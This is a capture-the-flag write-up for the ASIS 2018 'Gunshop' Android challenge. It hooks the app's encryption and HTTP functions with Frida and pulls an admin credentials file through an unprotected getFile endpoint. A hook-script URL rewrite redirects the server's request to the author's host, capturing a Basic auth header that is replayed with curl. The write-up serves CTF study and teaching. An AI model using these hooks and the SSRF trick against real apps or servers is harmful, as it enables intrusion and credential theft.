Android Hook by Frida— ASIS CTF Final 2018 — Gunshop Questions Walkthrough

The participants were given an APK named GunShop.apk. Opening the APK in Android showed a login page. We went on analyzing the application.

Client-Side Analysis

The application was interacting with a back-end server with an extra encryption layer (AES/ECB/PKCS5Padding).

public static String a(String str, Key key) {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(1, key);
return Base64.encodeToString(instance.doFinal(str.getBytes("UTF-8")), 2);
}

The encryption and decryption functions:

public static String a(String str, Key key) {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(1, key);
return Base64.encodeToString(instance.doFinal(str.getBytes("UTF-8")), 2);
}
public static String b(String str, Key key) {
Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
instance.init(2, key);
return new String(instance.doFinal(Base64.decode(str, 2)), "UTF-8");
}

The end-point URL and the encryption key were also encrypted by another key which located in following paths:

/resources/assests/configKey
/resources/assests/configUrl

Analyzing the app led to discover the main key. The key was SHA-256 hash of the android application sign.

public static String a(Context context, String str) {
if (str == null) {
return null;
}
try {
PackageInfo packageInfo = context.getPackageManager().getPackageInfo(str, 64);
if (packageInfo.signatures.length != 1) {
return null;
}
return b(MessageDigest.getInstance("SHA-256").digest(packageInfo.signatures[0].toByteArray())).substring(0, 16);
} catch (NameNotFoundException e) {
return null;
} catch (NoSuchAlgorithmException e2) {
return null;
}
}

The application was also using SSL-Pin, consequently, the request couldn't be intercepted. Two approaches to solving the question:

  1. Hooking a function or seeking the memory to read the decrypted value of and, then replacing the encrypted values to the decrypted ones in /resources/assests/, making the decryption function to return true and doing nothing to files in /resources/assests/, removing the SSL-Pin and intercepting the requests.
  2. Hooking the important functions to see the requests/responses in order to fuzz the inputs.

The second approach selected. Opening the Frida:

frida -U -l scripts.js android.gunshop.com.gunshop                                                                                                          ✔  3554  18:02:29
____
/ _ | Frida 12.2.25 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at http://www.frida.re/docs/home/
Attaching...
Script loaded successfully
HTTP Request
[Unknown Samsung Galaxy S6 - 5.0.0 - API 21 - 1440x2560::android.gunshop.com.gunshop]->

The Solution — Part 1

The first thing was to reveal the end-point URL. Function a(String str, String str) handles the HTTP requests:

public static String a(String str, String str2) {
String str3 = "";
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL(str).openConnection();
CookieManager instance = CookieManager.getInstance();
String cookie = instance.getCookie(httpsURLConnection.getURL().toString());
if (cookie != null) {
httpsURLConnection.setRequestProperty("Cookie", cookie);
}
httpsURLConnection.setSSLSocketFactory(SSLCertificateSocketFactory.getInsecure(0, null));
httpsURLConnection.setHostnameVerifier(new AllowAllHostnameVerifier());
httpsURLConnection.setReadTimeout(15000);
httpsURLConnection.setConnectTimeout(15000);
httpsURLConnection.setRequestMethod("POST");
httpsURLConnection.setDoInput(true);
httpsURLConnection.setDoOutput(true);
httpsURLConnection.connect();
if (a(httpsURLConnection, a)) {
OutputStream outputStream = httpsURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
bufferedWriter.write(str2);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
if (httpsURLConnection.getResponseCode() != 200) {
return "";
}
List<String> list = (List) httpsURLConnection.getHeaderFields().get("Set-Cookie");
if (list != null) {
for (String cookie2 : list) {
instance.setCookie(httpsURLConnection.getURL().toString(), cookie2);
}
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpsURLConnection.getInputStream()));
cookie2 = str3;
while (true) {
str3 = bufferedReader.readLine();
if (str3 == null) {
break;
}
cookie2 = cookie2 + str3;
}
String headerField = httpsURLConnection.getHeaderField("X-GUN-SHOP");
if (headerField != null && !headerField.isEmpty()) {
return cookie2;
}
throw new Exception(cookie2);
}
throw new Exception("SSL Pin Error");
}

Hooking the HTTP request function by Frida:

Java.perform(function z() {
console.log("HTTP Request");
var my_class = Java.use("android.gunshop.com.gunshop.m");
my_class.a.overload('java.lang.String', 'java.lang.String').implementation = function (str, str2) {
console.log("original call: HTTP-Request(" + "input1: " + str + ", " + "input2: " + str2.toString() + ")");
var ret_value = this.a(str, str2);
console.log("return value HTTP-Request: " + ret_value + "\n\n");
return ret_value;
}
});

On the Frida console:

original call: Encrypt(input1: {"username":"utfu","password":"utfu","device-id":"3d8b0f8219c4b301"}, input2: 31323334353637383961733233343536)
return value a vDIh9PNlTJI25p/Ku4jAn4YSgjI9+J6Qnc/B9StKPo9iTsYJPBMiVAxlzvRj4VdsPZx0INmSKpvSUiDaatBnXH9gLYHmpa2f/4zycBhloeg=
original call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/startSession, input2: user_data=vDIh9PNlTJI25p%2FKu4jAn4YSgjI9%2BJ6Qnc%2FB9StKPo9iTsYJPBMiVAxlzvRj4VdsPZx0INmSKpvSUiDaatBnXH9gLYHmpa2f%2F4zycBhloeg%3D)

The end-point discovered. Opening the URL:

> GET /startSession HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 405 METHOD NOT ALLOWED
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:28:04 GMT
< Content-Type: text/html
< Content-Length: 178
< Connection: keep-alive
< Allow: OPTIONS, POST
< Set-Cookie: session=41f3e699-c94b-488c-8298-8473bceeb28a; Expires=Thu, 27-Dec-2018 14:28:04 GMT; HttpOnly; Path=/
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
* Connection #0 to host darkbloodygunshop.asisctf.com left intact

Visiting the index:

> GET / HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:28:34 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 26
< Connection: keep-alive
< Set-Cookie: session=4a988c06-2872-4a90-943d-a3292bd8042c; Expires=Thu, 27-Dec-2018 14:28:34 GMT; HttpOnly; Path=/
<
* Connection #0 to host darkbloodygunshop.asisctf.com left intact
Missing parameter username

Following up the hint:

> GET /?username=test HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:29:11 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 46
< Connection: keep-alive
< Set-Cookie: session=c78406db-5a31-40ab-ba3d-1926c735459f; Expires=Thu, 27-Dec-2018 14:29:11 GMT; HttpOnly; Path=/
<
* Connection #0 to host darkbloodygunshop.asisctf.com left intact
username not found in users_gunshop_admins.csv

The file contained the credentials revealed through the error/debug message. Digging more Android application led to discover a relative path seemed to take the file as an input:

protected Bitmap doInBackground(String... strArr) {
Bitmap bitmap = null;
try {
return m.c(MainActivity.a + "/getFile?filename=" + strArr[0]);
} catch (Exception e) {
Log.e("Error", e.getMessage());
e.printStackTrace();
return bitmap;
}
}

Extracting the credentials:

> GET /getFile?filename=users_gunshop_admins.csv HTTP/1.1
> Host: darkbloodygunshop.asisctf.com
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3
< Date: Mon, 26 Nov 2018 14:31:28 GMT
< Content-Type: text/csv; charset=utf-8
< Content-Length: 25
< Connection: keep-alive
< Content-Disposition: attachment; filename=users_gunshop_admins.csv
< Last-Modified: Sat, 18 Aug 2018 06:44:50 GMT
< Cache-Control: public, max-age=43200
< Expires: Tue, 27 Nov 2018 02:31:28 GMT
< ETag: "1534574690.0-25-3882554259"
< Accept-Ranges: bytes
< Set-Cookie: session=c31d434a-cbd3-40ed-b7b1-4f45bc1484c8; Expires=Thu, 27-Dec-2018 14:31:28 GMT; HttpOnly; Path=/
<
alfredo,YhFyP$d*epmj9PUz

Afterward, hooking the encryption/decryption functions:

console.log("Script loaded successfully");
Java.perform(function x() {
console.log("Encryption Function Hooked");
var my_class = Java.use("android.gunshop.com.gunshop.m");
my_class.b.overload('java.lang.String', 'java.security.Key').implementation = function (str, key) {
var b = key.getEncoded();
var printable_key = ""
for (var i = 0; i < b.length; i++) {
printable_key += (b[i].toString(16) + "");
}
console.log("original call: Decrypt(" + "input1: " + str + ", " + "input2: " + printable_key + ")");
var ret_value = this.b(str, key);
console.log("return value b " + ret_value + "\n\n");
return ret_value;
}
});
Java.perform(function y() {
console.log("Encryption Function Hooked");
var my_class = Java.use("android.gunshop.com.gunshop.m");
my_class.a.overload('java.lang.String', 'java.security.Key').implementation = function (str, key) {
var b = key.getEncoded();
var printable_key = ""
for (var i = 0; i < b.length; i++) {
printable_key += (b[i].toString(16) + "");
}
console.log("original call: Encrypt(" + "input1: " + str + ", " + "input2: " + printable_key + ")");
var ret_value = this.a(str, key);
console.log("return value a " + ret_value + "\n\n");
return ret_value;
}
});

Then logging-in with the credentials revealed:

Encryption Function Hooked
Encryption Function Hooked
HTTP Request
original call: Encrypt(input1: {"username":"alfredo","password":"YhFyP$d*epmj9PUz","device-id":"3d8b0f8219c4b301"}, input2: 31323334353637383961733233343536)
return value a 0JjOmMth2l+n+Xmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3540kgeQbDgE0JZ973HcGaOn4eGRw0uZRx7mkZ1sxOA29D
original call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/startSession, input2: user_data=0JjOmMth2l%2Bn%2BXmw3RlvcHzfA2HZbR58OvVHc4V7GcJ6LMonOfw8PBIuMrzE2zNGlsMtJTqnXEUOiTiCMQ3540kgeQbDgE0JZ973HcGaOn4eGRw0uZRx7mkZ1sxOA29D)
return value HTTP-Request: jjIDPwljJ9cUm8mLk9kbZxlSZg7Y55rtv/iHDzvQJjzBpw/nBHMFBdDOc7mSyrhB+KCIjpJWpVpQqYkK/ePVxTxuJ9D3qrNvXe2bSBT2RaoW6O+Br97cAU9Ts7shulfMNpeSxN2nOi5XH9HkUBoP6taaJV6YAVjWK+IrzLnY3zM1pCYm3R4J/KS+prKqqEEgBq+lUUOpI2lippXD+48PEEBVpbCUz7cn2UScrHO0AQ7A/SQPqmcZMkDDv2S2CYrxk9RhykMVQ+v94/5/RfIzGURkKkZ0a+zOLlzf2NZSZPvAkyPN8M0SrvGEBYtPJrgLZmapEW2uP5XOWhAZV2Oh29c63vRtwy3vBrOuy3rk12ePG0Ptdoth8okvA56bNQ1/EVBHuhWnvvRnL19Fir4pbSXqtuB50ZBR8NIUiLKS7Ve/lhB6lHA6hg2n2g/Vbvlf9dIk8VpA4vSNAdtfrJhvy+SYsTLS7mGqL+HASJxDAVD/5Ytti+o0aXTHojUI27Z6oVMgIU3x206vG9x1Gtk/QPBt4TnZz9eo0NmU7T6u+yLXEGPUtQSWncTbmBQPwVpHwqEkkxKEoXq1qkzv6+qWPJkHhrTQgt+6md1tJ0gFsO435CfAHnd/HJGsHn73SfnASKB+cmYyacajvpG2VLwk6JOnG2NINOelsWenBf4+Cokl+aY4E23d98HsvD9IfApjmyNDRhfP4mSEppDuhGVboVySfZpIdKD8qWqf/BkX+OZ+lFzqOoU+McVObhkVy/xnS/xhKHkcsoyf5tYkgcbfxbcoUh4oRbFNSzvcsEC2VxFossjFBE5vC7KXvbgDtft88fGUqTYnaV9+q3WlHSvj3CFQCsRjHBzrAMYnHVMBLM0VkSCppkSMs4CxIwG5NFO6PkJKq4L06i8T9pMs/uh9w1bIuamuafTYN8rFcH7dDMuwc5x7tEvdYZSlYTPsGvylSKHggsSRwoAdQuAPcQ5AVtzWI+Vb6U3AqXYfS3y4ys+iPwndtLlOEif3YU+j5PoiAIkdHcC6oNItRDJuga0KP4uXyr4KXT6UOfxBAKKvgXveDjWrzDirkroAF9y4ygTQe5hggEdPgd+2NcZgJ90t812F5i6/sccomd2GvX8supAqjuD4D9Xvxs9jK6vol7jbwPJFPimYn2UvJ0JfE5Y29LwL8PWVinwx2ptAIr7qC7vBD6Cb/mOgT7GHos1tqpHR
original call: Decrypt(input1: jjIDPwljJ9cUm8mLk9kbZxlSZg7Y55rtv/iHDzvQJjzBpw/nBHMFBdDOc7mSyrhB+KCIjpJWpVpQqYkK/ePVxTxuJ9D3qrNvXe2bSBT2RaoW6O+Br97cAU9Ts7shulfMNpeSxN2nOi5XH9HkUBoP6taaJV6YAVjWK+IrzLnY3zM1pCYm3R4J/KS+prKqqEEgBq+lUUOpI2lippXD+48PEEBVpbCUz7cn2UScrHO0AQ7A/SQPqmcZMkDDv2S2CYrxk9RhykMVQ+v94/5/RfIzGURkKkZ0a+zOLlzf2NZSZPvAkyPN8M0SrvGEBYtPJrgLZmapEW2uP5XOWhAZV2Oh29c63vRtwy3vBrOuy3rk12ePG0Ptdoth8okvA56bNQ1/EVBHuhWnvvRnL19Fir4pbSXqtuB50ZBR8NIUiLKS7Ve/lhB6lHA6hg2n2g/Vbvlf9dIk8VpA4vSNAdtfrJhvy+SYsTLS7mGqL+HASJxDAVD/5Ytti+o0aXTHojUI27Z6oVMgIU3x206vG9x1Gtk/QPBt4TnZz9eo0NmU7T6u+yLXEGPUtQSWncTbmBQPwVpHwqEkkxKEoXq1qkzv6+qWPJkHhrTQgt+6md1tJ0gFsO435CfAHnd/HJGsHn73SfnASKB+cmYyacajvpG2VLwk6JOnG2NINOelsWenBf4+Cokl+aY4E23d98HsvD9IfApjmyNDRhfP4mSEppDuhGVboVySfZpIdKD8qWqf/BkX+OZ+lFzqOoU+McVObhkVy/xnS/xhKHkcsoyf5tYkgcbfxbcoUh4oRbFNSzvcsEC2VxFossjFBE5vC7KXvbgDtft88fGUqTYnaV9+q3WlHSvj3CFQCsRjHBzrAMYnHVMBLM0VkSCppkSMs4CxIwG5NFO6PkJKq4L06i8T9pMs/uh9w1bIuamuafTYN8rFcH7dDMuwc5x7tEvdYZSlYTPsGvylSKHggsSRwoAdQuAPcQ5AVtzWI+Vb6U3AqXYfS3y4ys+iPwndtLlOEif3YU+j5PoiAIkdHcC6oNItRDJuga0KP4uXyr4KXT6UOfxBAKKvgXveDjWrzDirkroAF9y4ygTQe5hggEdPgd+2NcZgJ90t812F5i6/sccomd2GvX8supAqjuD4D9Xvxs9jK6vol7jbwPJFPimYn2UvJ0JfE5Y29LwL8PWVinwx2ptAIr7qC7vBD6Cb/mOgT7GHos1tqpHR, input2: 31323334353637383961733233343536)
return value b {"key": "3b69e03666ebba1d18a76df51a4704c2", "deviceId": "3d8b0f8219c4b301", "flag1": "ASIS{d0Nt_KI11_M3_G4NgsteR}", "list": [{"pic": "1.jpg", "id": "GN12-34", "name": "Tiny Killer", "description": "Excellent choise for silent killers."}, {"pic": "2.jpg", "id": "GN12-301", "name": "Gru Gun", "description": "A magic underground weapon."}, {"pic": "3.png", "id": "GN12-1F52B", "name": "U+1F52B", "description": "Powerfull electronic gun. Usefull in chat rooms and twitter."}, {"pic": "4.jpeg", "id": "GN12-1", "name": "HV-Penetrator", "description": "The Gun of future."}, {"pic": "5.jpg", "id": "GN12-90", "name": "Riffle", "description": "Protect your self with me."}, {"pic": "6.png", "id": "GN12-21", "name": "Gun Shop Subscription", "description": "Subscription 1 month to gun shop."}, {"pic": "7.png", "id": "GN12-1002", "name": "GunSet", "description": "A Set of weapons, useful for assassins."}]}

The Solution — Part 2

After successful log-in, several guns displayed. The application work-flow was selecting a gun, then submitting to purchase it. This flow contained two separated HTTP requests:

original call: Encrypt(input1: {"gunId":"GN12-34"}, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value a d/DDO//gJN0c8Cmu9/0it2PUnxFfnfFQyiBakgTRNqY=
original call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/selectGun, input2: user_data=d%2FDDO%2F%2FgJN0c8Cmu9%2F0it2PUnxFfnfFQyiBakgTRNqY%3D)
return value HTTP-Request: 220YCO3gST2F/ew+kLfYjCcFsxqNrcpPsBxKfFAqZEhIUi9fGEs3GaOV5DiHrumezGU9mBE8fGFUVQK3k4sRGI4KqchWje52++U2gvWornu77m42QDdb3sdkkviqei01
original call: Decrypt(input1: 220YCO3gST2F/ew+kLfYjCcFsxqNrcpPsBxKfFAqZEhIUi9fGEs3GaOV5DiHrumezGU9mBE8fGFUVQK3k4sRGI4KqchWje52++U2gvWornu77m42QDdb3sdkkviqei01, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value b {"shop": {"name": "City Center Shop", "url": "http://188.166.76.14:42151/DBdwGcbFDApx93J3"}}
original call: Encrypt(input1: {"shop":"http:\/\/188.166.76.14:42151\/DBdwGcbFDApx93J3"}, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value a ahv2s2OPlVD80fZgoaLcg3K7uSJYZOllph4rAEtUkbPP4N1PriGbfeZ9nqymI1Zf3DumuFStgVvv3JRJqjONQA==
original call: HTTP-Request(input1: https://darkbloodygunshop.asisctf.com/finalizeSession, input2: user_data=ahv2s2OPlVD80fZgoaLcg3K7uSJYZOllph4rAEtUkbPP4N1PriGbfeZ9nqymI1Zf3DumuFStgVvv3JRJqjONQA%3D%3D)
return value HTTP-Request: zRg8II6acb6ozVqb2agJcxxV6vKtqdIrLN2VhpKHaLP/qsH4iDhHcfvBi8vbNZCMbeH4mo6EAqjSAs9d9Seo4D1GRrYY8qqvRdlS5LkOHlCKlVOBSQNobl1JwaroWd6MzWkySfCrTyjiKBMgjPsSDQ==
original call: Decrypt(input1: zRg8II6acb6ozVqb2agJcxxV6vKtqdIrLN2VhpKHaLP/qsH4iDhHcfvBi8vbNZCMbeH4mo6EAqjSAs9d9Seo4D1GRrYY8qqvRdlS5LkOHlCKlVOBSQNobl1JwaroWd6MzWkySfCrTyjiKBMgjPsSDQ==, input2: 474a-5e-21-666f-7b7174311f9-335c)
return value b {"result": "Your request submitted and will be ready as soon as possible. Thanks for shopping. Happy killing."

It took several hours to fuzz the application, it’s semi-hard without Burp-Suite since:

  1. After the login, new AES key was given
  2. The next two HTTP requests were encrypted by the new key
  3. The requests couldn’t be replayed twice, the application stopped working after two requests

The last request was suspicious as it had a URL:

First thing I came up with, was an SSRF attack, so I modified the scirpt.js to replaced the URL with my server IP address:

if (str.indexOf("188.166.76.14:42151") > 0) {
str = str.replace("188.166.76.14:42151", "[MyServerIP]:80")
}

Surprisingly, I saw the following HTTP request:

POST /DBdwGcbFDApx93J3 HTTP/1.1
Host: 185.236.76.59
Connection: keep-alive
User-Agent: python-requests/2.20.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6
username=alfredo&deviceId=3d8b0f8219c4b301

Immediately:

curl -v http://188.166.76.14:42151/DBdwGcbFDApx93J3 -d "username=alfredo&deviceId=3d8b0f8219c4b301" --insecure -H "Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6"
* Trying 188.166.76.14...
* TCP_NODELAY set
* Connected to 188.166.76.14 (188.166.76.14) port 42151 (#0)
> POST /DBdwGcbFDApx93J3 HTTP/1.1
> Host: 188.166.76.14:42151
> User-Agent: curl/7.61.1
> Accept: */*
> Authorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6
> Content-Length: 42
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 42 out of 42 bytes
< HTTP/1.1 200 OK
< Server: gunicorn/19.9.0
< Date: Sun, 25 Nov 2018 15:39:56 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 32
<
* Closing connection 0
ASIS{0Ld_B16_br0Th3r_H4d_a_F4rm}